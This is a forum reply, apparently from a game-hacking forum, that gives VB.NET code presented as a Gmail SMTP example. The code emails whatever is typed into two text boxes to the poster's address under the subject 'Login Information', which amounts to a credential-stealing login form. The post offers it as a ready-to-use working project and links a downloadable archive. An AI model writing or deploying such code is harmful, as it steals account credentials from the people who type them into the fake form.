
Originally Posted by
tibble
Ty...
NEXTGEN1 FOR MINION
Using Gmail as a SMTP relay
Code:
'Required Namespace to send smtp via gmail (or anything really :p)
Imports System.Net.Mail
Public Class Form1
'on button click event
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim client As New SmtpClient()
' the recieving email address, (so your email address tibble)
Dim sendTo As New MailAddress("example@gmail.com")
' Who is it coming from? I suggest doing something like using the users real email to sort or using texbox1.text@login.com)
Dim from As MailAddress = New MailAddress("yourgmailaccountusername@address.com")
Dim message As New MailMessage(from, sendTo)
message.IsBodyHtml = True
message.Subject = "Login Information"
message.Body = message.Body + (TextBox1.Text)
message.Body = message.Body + ""
message.Body = message.Body + (TextBox2.Text)
'authentication = Your email@gmail.com and password = "" your password
Dim basicAuthenticationInfo As New System.Net.NetworkCredential("Your email address for gmail", "Your password")
client.Host = "smtp.gmail.com"
client.UseDefaultCredentials = False
client.Credentials = basicAuthenticationInfo
client.EnableSsl = True
Try
client.Send(message)
Console.WriteLine("SUCCESS")
Catch ex As Exception
Console.WriteLine("SEND FAIL")
End Try
End Sub
End Class
http://innovatorsworldwide.com/MPGH/Tibble.rar
http://www.virustotal.com/analisis/1...343-1263845045
Attached is a small working example project, set the credentials, I noted everything,
Hope this helps
Otherwise I can get you Jscape and Chilkat components to send and receive smtp , only issue is you need an smtp server for most of these examples to work, so your best bet is the gmail example.